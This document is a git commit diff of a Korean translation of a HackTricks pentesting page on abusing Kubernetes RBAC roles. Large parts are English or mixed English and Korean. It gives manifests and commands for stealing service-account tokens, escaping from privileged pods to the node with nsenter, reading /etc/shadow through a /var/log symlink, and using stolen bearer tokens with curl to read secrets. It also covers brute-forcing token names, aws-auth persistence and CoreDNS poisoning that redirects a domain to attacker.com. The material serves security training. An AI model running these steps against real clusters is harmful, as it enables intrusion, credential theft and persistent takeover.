Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub

This commit is contained in:
Translator
2026-02-12 12:41:36 +00:00
parent 0b91e86646
commit e060fca12f
2 changed files with 253 additions and 170 deletions
@@ -1,23 +1,23 @@
# Kubernetes에서 Roles/ClusterRoles 악용하기
# Kubernetes에서 Roles/ClusterRoles 오용
{{#include ../../../banners/hacktricks-training.md}}
여기에 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다.\
`kubectl api-resources`를 사용하여 지원되는 모든 리소스를 얻을 수 있다는 을 기억하세요.
여기에 잠재적으로 위험한 Roles 및 ClusterRoles 구성들이 있습니다.\
`kubectl api-resources`로 모든 지원 리소스를 확인할 수 있다는 을 기억하세요.
## **권한 상승**
## **Privilege Escalation**
클러스터 내에서 **다른 권한**을 가진 **다른 주체에 대한 접근을 얻는 기술**을 의미하며 (kubernetes 클러스터 내 또는 외부 클라우드에 대해) Kubernetes에서는 기본적으로 **권한을 상승시키기 위한 4가지 주요 기술**이 있습니다:
클러스터 내에서 현재 가진 것과 다른 권한을 가진 다른 principal에 접근하는 기술을 의미합니다(클러스터 내 또는 외부 클라우드에 대해). Kubernetes에서는 기본적으로 권한을 상승시키기 위한 다음의 4가지 주요 기이 있습니다:
- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 다른 사용자/그룹/SA를 **가장할 수 있는 능력**
- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해은 권한을 가진 SA를 **찾거나 연결할 수 있는** **pod를 생성/패치/실행할 수 있는 능력**
- SA 토큰이 비밀로 저장되므로 **비밀을 읽을 수 있는 능력**
- 컨테이너에서 노드로 **탈출할 수 있는 능력**, 여기서 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다 (있는 경우)
- 언급할 가치가 있는 다섯 번째 기은 pod에서 **포트 포워드**를 실행할 수 있는 능력으로, 해당 pod 내의 흥미로운 리소스에 접근할 수 있을 수 있습니다.
- 더 높은 권한을 가진 다른 user/groups/SAs를 **impersonate** 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해)
-은 권한을 가진 SAs**find or attach SAs** 할 수 있는 곳에 **create/patch/exec pods** 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해)
- SAs 토큰이 secrets로 저장되어 있으므로 **read secrets** 할 수 있음
- 컨테이너에서 **escape to the node** 할 수 있어, 노드에서 실행 중인 컨테이너의 모든 secrets, 노드의 credentials, 그리고 (해당되는 경우) 그 노드가 실행 중인 클라우드에서의 권한을 훔칠 수 있
- 다섯번째로 언급할 만한은 pod에서 **run port-forward** 할 수 있는 능력으로, 이를 통해 해당 pod 내의 흥미로운 리소스에 접근할 수 있
### 모든 리소스 또는 동사에 접근하기 (와일드카드)
### Access Any Resource or Verb (Wildcard)
**와일드카드 (\*)는 모든 동사로 모든 리소스에 대한 권한을 부여합니다**. 이는 관리자에 의해 사용니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace 악용할 수 있을 의미합니다.
**wildcard (\*)는 어떤 리소스에 대해서든 어떤 verb에 대해서도 권한을 부여합니다.** 관리자가 주로 사용니다. ClusterRole 내에서 이는 공격자가 클러스터 내의 어떤 namespace 악용할 수 있다는 것을 의미합니다.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### 특정 동사로 모든 리소스에 접근하기
### 특정 동사로 모든 리소스에 접근
RBAC에서 특정 권한은 상당한 위험을 초래합니다:
RBAC에서 특정 권한이 심각한 위험을 초래합니다:
1. **`create`:** 모든 클러스터 리소스를 생성할 수 있는 권한을 부여하여 권한 상승의 위험을 초래합니다.
2. **`list`:** 모든 리소스를 나열할 수 있 민감한 데이터가 유출될 수 있습니다.
3. **`get`:** 서비스 계정의 비밀에 접근할 수 있는 권한을 부여하여 보안 위협을 초래합니다.
1. **`create`:** 클러스터의 모든 리소스를 생성할 수 있는 권한을 부여하며, privilege escalation을 초래할 수 있습니다.
2. **`list`:** 모든 리소스를 나열할 수 있게 하여 민감한 데이터를 leak할 수 있습니다.
3. **`get`:** service accounts로부터 secrets에 접근할 수 있하여 보안 위협을 초래합니다.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다.
Pod 생성 권한이 있는 공격자는 특권이 부여된 Service Account를 pod에 연결해 해당 토큰을 탈취하고 그 Service Account로 가장할 수 있습니다. 과적으로 권한 상승니다.
`bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예:
다음은 `bootstrap-signer` service account의 토큰을 탈취해 공격자에게 전송하는 pod의 예입니다:
```yaml
apiVersion: v1
kind: Pod
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Pod 생성 및 탈출
### Pod Create & Escape
다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다:
다음은 container가 가질 수 있는 모든 권한을 나타냅니다:
- **특권 액세스** (보호 기능 비활성화 및 기능 설정)
- **hostIPC hostPid 네임스페이스 비활성화** 권한 상승에 도움이 될 수 있음
- **hostNetwork** 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공
- **호스트를 컨테이너 내부에 마운트**
- **Privileged access** (보호 기능 비활성화하고 capabilities를 설정)
- **Disable namespaces hostIPC and hostPid** (권한 상승에 도움이 될 수 있음)
- **Disable hostNetwork** namespace (nodes의 cloud privileges를 탈취하고 네트워크에 더 접근할 수 있음)
- **Mount hosts /** (container 내부에 호스트의 / 를 마운트)
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -115,19 +115,19 @@ volumes:
hostPath:
path: /
```
다음과 같이 포드를 생성합니다:
다음 내용으로 pod를 생성하세요:
```bash
kubectl --token $token create -f mount_root.yaml
```
한 줄 요약: [이 트윗](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 내용과 몇 가지 추가 사항:
[this tweet](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 원라이너와 몇 가지 추가사항:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
이제 노드로 탈출할 수 있으므로, 포스트 익스플로잇 기술을 확인하세요:
이제 node로 탈출할 수 있으니 다음에서 post-exploitation techniques를 확인하세요:
#### Stealth
아마도 **은밀함**을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다:
아마도 더 **stealthier** 하고 싶을 것입니다. 아래 페이지에서는 이전 템플릿에서 언급한 권한 중 일부만 활성화하여 pod를 생성할 경우 접근할 수 있는 항목들을 확인할 수 있습니다:
- **Privileged + hostPID**
- **Privileged only**
@@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
- **hostNetwork**
- **hostIPC**
_이전의 특권 포드 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _에서 확인할 수 있습니다._
_이전 템플릿의 권한 있는 pods 구성을 생성/악용하는 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
**포드**(선택적으로 **서비스 계정**)를 **생성**할 수 있다면, **포드 또는 서비스 계정에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수** 있습니다.\
또한, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다.
만약 **create** a **pod** (및 선택적으로 a **service account**)할 수 있다면, **assigning cloud roles to a pod or a service account**하고 접근함으로써 **obtain privileges in cloud environment**할 수 있습니다.
또한, **pod with the host network namespace**를 생성할 수 있다면 **steal the IAM** role of the **node** instance 할 수 있습니다.
자세한 내용은 다음을 확인하세요:
For more information check:
{{#ref}}
pod-escape-privileges.md
@@ -151,9 +151,9 @@ pod-escape-privileges.md
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
이 권한을 용하여 **새 포드**를 **생성**하고 이전 예와 같이 권한을 확립할 수 있습니다.
이 권한용하여 **create a new pod**하고 이전 예시처럼 권한을 상승시킬 수 있습니다.
다음 yaml **데몬셋을 생성하고 포드 내의 SA 토큰을 유출**합니다:
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,32 +191,32 @@ path: /
```
### **Pods Exec**
**`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**.
**`pods/exec`**는 kubernetes에서 **pod 안의 shell에서 명령을 실행하는 데** 사용되는 리소스입니다. 이는 **containers에서 명령을 실행하거나 shell을 얻을 수 있게** 합니다.
따라서 **포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용)할 수 있습니다**:
따라서 **pod에 들어가 SA의 token을 탈취할 수** 있거나, privileged pod에 진입해 node로 탈출하여 node에 있는 pod들의 모든 token을 탈취하고 node를 (ab)use할 수 있습니다:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> 기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`를 사용하여 **컨테이너의 모든 포드**를 가져온 다음, `kubectl exec -it <pod_name> -c <container_name> -- sh`를 사용하여 실행할 **컨테이너**를 지정합니다.
> 기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. 포드 내의 모든 컨테이너 이름을 얻으려면 `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` 를 사용하고, 그런 다음 실행하려는 컨테이너를 `kubectl exec -it <pod_name> -c <container_name> -- sh` 로 지정하세요.
만약 그것이 distroless 컨테이너라면, **shell builtins**를 사용하여 컨테이너 정보를 얻거나 **busybox**와 같은 도구를 업로드할 수 있습니다: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩**할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다.
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### 호스트의 쓰기 가능한 /var/log/ 탈출
### Hosts Writable /var/log/ Escape
[**이 연구에서 언급된 바와 같이**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), **호스트의 `/var/log/` 디렉토리가 마운트된** 포드에 접근하거나 생성할 수 있다면, **컨테이너에서 탈출할 수 있습니다**.\
이는 기본적으로 **Kube-API 컨테이너의 로그를 가져오려고 할 때** (`kubectl logs <pod>` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\
Kubelet 서비스는 기본적으로 **컨테이너의 `/var/log` 파일 시스템을 노출하는** `/logs/` 엔드포인트를 노출합니다.
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
이는 기본적으로 **Kube-API tries to get the logs** 할 때 발생합니다. 컨테이너의 로그를 가져오기 위해 (`kubectl logs <pod>` 사용) Kube-API는 **Kubelet** 서비스의 `/logs/` 엔드포인트를 이용해 해당 pod의 `0.log` 파일을 **requests the `0.log`** 합니다.\
Kubelet 서비스는 `/logs/` 엔드포인트를 노출하고 있으며, 이는 사실상 컨테이너의 `/var/log` 파일시스템을 **exposing the `/var/log` filesystem of the container** 하는 것입니다.
따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는** 공격자는 이 행동을 두 가지 방으로 악용할 수 있습니다:
따라서 컨테이너의 `/var/log/` 폴더에 **access to write in the /var/log/ folder** 권한이 있는 공격자는 이 동작을 다음 두 가지 방으로 악용할 수 있습니다:
- 컨테이너의 `0.log` 파일을 수정하여 (보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치) 예를 들어 **`/etc/shadow`를 가리키는 심볼릭 링크**로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- 공격자가 **`nodes/log`를 읽을 수 있는 권한을 가진 주체**를 제어하는 경우, 그는 `/host-mounted/var/log/sym`에 `/`에 대한 **symlink**를 생성할 수 있으며, **`https://<gateway>:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일 시스템 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다).
- 공격자가 **permissions to read `nodes/log`** 권한을 가진 어떤 principal을 제어한다면, 그는 `/host-mounted/var/log/sym`에 `/`를 가리키는 **symlink**를 생성할 수 있, **`https://<gateway>:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일시스템 나열니다 (symlink를 변경하면 파일에 접근할 수 있습니다).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**실험실 자동화된 익스플로잇은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)에서 찾을 수 있습니다.
**다음에서 실험실 자동화된 exploit을 확인할 수 있습니다** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### readOnly 보호 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 때, 폴더를 rw로 다시 마운트할 수 있습니다:
운이 좋게도 고권한 capability `CAP_SYS_ADMIN`이 사용 가능하면, 해당 폴더를 rw로 다시 마운트할 수 있습니다:
```bash
mount -o rw,remount /hostlogs/
```
#### hostPath readOnly 보호 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
[**이 연구**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)에서 언급된 바와 같이, 보호를 우회하는 것이 가능합니다:
해당 [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)에서 설명한 것처럼, 보호를 우회할 수 있습니다:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 쓰기 가능한 접근 권한으로 호스트 폴더를 마운트하는 것이 었습니다:
는 이전과 같은 탈출을 방지하기 위해 hostPath mount 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 container에 writable access로 hosts folder를 mount하도록 한 것이다:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -298,11 +298,11 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **권 계정 가장하기**
### **권한 있는 계정 가장하기**
[**사용자 가장하기**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 권한을 사용하면 공격자가 특권 계정 가장할 수 있습니다.
[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 권한이 있으면 공격자는 권한 있는 계정으로 가장할 수 있습니다.
`kubectl` 명령에서 `--as=<username>` 매개변수를 사용하여 사용자를 가장하거나, `--as-group=<group>`을 사용하여 그룹을 가장하십시오:
사용자 계정을 가장하려면 `kubectl` 명령에서 `--as=<username>` 파라미터를 사용하고, 그룹을 가장하려면 `--as-group=<group>`을 사용하세요:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
### 시크릿(Secrets) 나열
**비밀 목록을 나열할 수 있는 권한은 공격자가 REST API 엔드포인트에 접근하여 비밀을 실제로 읽을 수 있할 수 있습니다:**
권한이 REST API 엔드포인트에 접근할 때 **list secrets 권한은 공격자가 실제로 시크릿을 읽을 수 있도록 허용할 수 있습니다**:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Creating and Reading Secrets
### Secret 생성 및 읽기
Kubernetes **kubernetes.io/service-account-token** 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고, serviceaccount의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다:
특정 유형의 Kubernetes secret인 **kubernetes.io/service-account-token**은 serviceaccount 토큰을 저장합니다.
만약 secret을 생성하고 읽을 수 있는 권한이 있고, 대상 serviceaccount의 이름을 알고 있다면, 다음과 같이 secret을 생성한 후 그 안에서 피해자 serviceaccount의 토큰을 탈취할 수 있습니다:
```yaml
apiVersion: v1
kind: Secret
@@ -334,7 +335,7 @@ annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
예시 악용:
예시 exploitation:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
@@ -382,17 +383,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
다음과 같이 특정 네임스페이스에서 비밀을 생성하고 읽을 수 있는 권한이 있는 경우, 피해자의 서비스 계정도 동일한 네임스페이스에 있어야 합니다.
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
### 비밀 읽기 – 토큰 ID 무작위 대입
### secret 읽기 brute-forcing token IDs
읽기 권한이 있는 토큰유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 _**비밀 나열**_ 권한과 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 나열할 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 이름 구조가 있으며: 정적 접두사 뒤에 무작위의 다섯 자리 알파벳 숫자 토큰(특정 문자를 제외하고)이 옵니다. [소스 코드](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따르면.
읽기 권한이 있는 token유한 공격자는 secret을 사용하기 위해 정확한 secret 이름이 필요하지만, 보다 광범위한 _**listing secrets**_ 권한과 달리 여전히 취약점이 존재합니다. 시스템의 기본 service accounts는 열거할 수 있으며, 각 계정은 secret과 연결되어 있습니다. 이들 secret은 이름 구조가 정해져 있는데: 정적 접두사 뒤에 특정 문자를 제외한 랜덤한 다섯 글자의 영숫자 토큰이 붙습니다(자세한 내용은 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) 참조).
토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다.
토큰은 전체 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 가능한 조합 수는 14,348,907(27^5)로 줄어듭니다. 결과적으로 공격자는 시간 내에 brute-force attack으로 토큰을 유추할 수 있으며, 민감한 service accounts에 접근하여 권한 상승으로 이어질 수 있습니다.
### EncrpytionConfiguration의 일반 텍스트
### EncrpytionConfiguration in clear text
러한 유형의 객체에서 데이터가 휴지 상태에서 암호화일반 텍스트 키를 찾는 것이 가능합니다:
이 유형의 객체에서 휴지 상태 데이터(data at rest)를 암호화평문 키를 찾을 수 있습니다. 예:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -449,13 +450,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
### 인증서 서명 요청
리소스 `certificatesigningrequests`에 **`create`** 동사가 있으면 (또는 최소한 `certificatesigningrequests/nodeClient`에 있면) **새 노드** 새로운 CeSR을 **생성**할 수 있습니다.
리소스 `certificatesigningrequests`에 **`create`** 권한이 있거나(또는 적어도 `certificatesigningrequests/nodeClient`에 있면), **새 노드**의 **CSR을 생성**할 수 있습니다.
[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 그런 경우에는 **추가 권한이 필요하지 않습니다**. 그렇지 않으면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*` `approve`해야 함을 의미합니다.
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. 그렇지 않은 경우에는 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에 대한 update 권한과 `signers`에서 resourceName이 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*` `approve` 권한을 의미합니다.
필요한 모든 권한이 포함된 **역할의 예**는:
다음은 필요한 모든 권한을 가진 **역할의 예**는 다음과 같습니다:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -486,19 +487,19 @@ resourceNames:
verbs:
- approve
```
새로운 노드 CSR이 승인되었으므로, 노드의 특 권한을 **악용**하여 **비밀을 훔치고** **권한을 상승**시킬 수 있습니다.
따라서 새 node CSR이 승인되 노드의 특 권한을 이용해 **abuse**하여 **steal secrets** 및 **escalate privileges**할 수 있습니다.
[**이 게시물**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)과 [**이 게시물**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)에서 GKE K8s TLS 부트스트랩 구성은 **자동 서명**으로 설정되어 있으며, 이를 악용하여 새로운 K8s 노드의 자격 증명을 생성한 다음 이를 사용하여 비밀을 훔쳐 권한을 상승시킵니다.\
**언급된 권한이 있다면 같은 작업을 수행할 수 있습니다.** 첫 번째 예제는 새로운 노드가 컨테이너 내부의 비밀에 접근하는 것을 방지하는 오류를 우회합니다. 왜냐하면 **노드는 자신에게 마운트된 컨테이너의 비밀만 접근할 수 있기 때문입니다.**
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap 구성은 **automatic signing**으로 설정되어 있으며, 이를 악용 새로운 K8s Node의 자격 증명을 생성하고 그 자격 증명을 이용해 escalate privileges by stealing secrets.\
If you **언급된 권한을 가지고 있다면 동일하게 수행할 수 있습니다**. 첫 번째 예제는 새로운 node가 컨테이너 내부의 secrets에 접근하지 못하도록 하는 오류를 우회하는데, 그 이유는 **node can only access the secrets of containers mounted on it.**
이를 우회하는 방법은 **흥미로운 비밀이 마운트된 컨테이너의 노드 이름에 대한 노드 자격 증명을 생성하는 것**입니다(하지만 첫 번째 게시물에서 이를 수행하는 방법을 확인하세요):
이를 우회하는 방법은 단순히 **create a node credentials for the node name where the container with the interesting secrets is mounted** 하는 것입니다 (자세한 방법은 첫 번째 포스트를 확인하세요):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
EKS 클러스터의 kube-system 네임스페이스에서 **`configmaps`**를 수정할 수 있는 주체는 **aws-auth** configmap을 덮어씀으로써 클러스터 관리자 권한을 얻을 수 있습니다.\
필요한 동사는 **`update`**와 **`patch`**, 또는 configmap이 생성되지 않은 경우 **`create`**입니다:
EKS(클러스터가 AWS에 있어야 함)의 kube-system 네임스페이스에서 **`configmaps`**를 수정할 수 있는 주체는 **aws-auth** configmap을 덮어써 클러스터 관리자 권한을 획득할 수 있습니다.\
필요한 동사(verbs)는 **`update`**와 **`patch`**이며, configmap이 생성되지 않은 경우 **`create`**입니다:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -538,18 +539,18 @@ groups:
- system:masters
```
> [!WARNING]
> **`aws-auth`**를 사용하여 **다른 계정**의 사용자에게 접근 권한을 부여하여 **지속성**을 유지할 수 있습니다.
> 다른 계정의 사용자에게 접근 권한을 부여하기 위해 **`aws-auth`**을 사용해 **persistence**를 설정할 수 있습니다.
>
> 그러나 `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **는 다른 계정에서 작동하지 않습니다**. 하지만 실제로 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 클러스터의 ARN을 이름 대신 넣으면 작동합니다.\
> `kubectl` 작동하도록 하려면 **희생자의 kubeconfig**를 **구성**하고 aws exec args에 `--profile other_account_role` 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 하십시오.
> 하지만 `aws --profile other_account eks update-kubeconfig --name <cluster-name>`는 다른 계정에서는 동작하지 않습니다. 그러나 클러스터 이름 대신 ARN을 넣으면 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 작동합니다.\
> `kubectl` 작동시키려면 **configure**된 **victims kubeconfig**를 사용하고 aws exec 인자에 `--profile other_account_role` 추가하여 kubectl이 다른 계정 프로필 토큰을 가져 AWS에 접속하도록 하면 됩니다.
### CoreDNS config map
`kube-system` 네임스페이스에서 **`coredns` configmap**을 수정할 수 있는 권한이 있다면, MitM 공격을 수행하 **민감한 정보를 훔치거나 악성 콘텐츠를 주입**할 수 있도록 주소 도메인이 해결되는 방식을 수정할 수 있습니다.
권한이 있어 `kube-system` 네임스페이스 **`coredns` configmap**을 수정할 수 있다면, 도메인이 해석되는 주소를 변경하여 MitM 공격을 수행하 **민감한 정보를 훔치거나 악성 콘텐츠를 주입하는** 것이 가능합니다.
필요한 동사는 **`update`**와 **`patch`** **`coredns`** configmap(또는 모든 config map)에 대해 사용됩니다.
필요한 verbs는 **`update`**와 **`patch`**이며 대상은 **`coredns`** configmap(또는 모든 config maps)입니다.
일반적인 **coredns 파일**은 다음과 같은 내용을 포함합니다:
A regular **coredns file** contains something like this:
```yaml
data:
Corefile: |
@@ -579,58 +580,120 @@ reload
loadbalance
}
```
공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행하여 이를 다운로드하고, `rewrite name victim.com attacker.com`과 같은 내용을 추가하여 `victim.com`에 접근할 때 실제로 `attacker.com` 도메인에 접근하도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행하여 적용할 수 있습니다.
An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
또 다른 옵션은 `kubectl edit configmap coredns -n kube-system`를 실행하여 파일을 직접 편집하고 변경하는 것입니다.
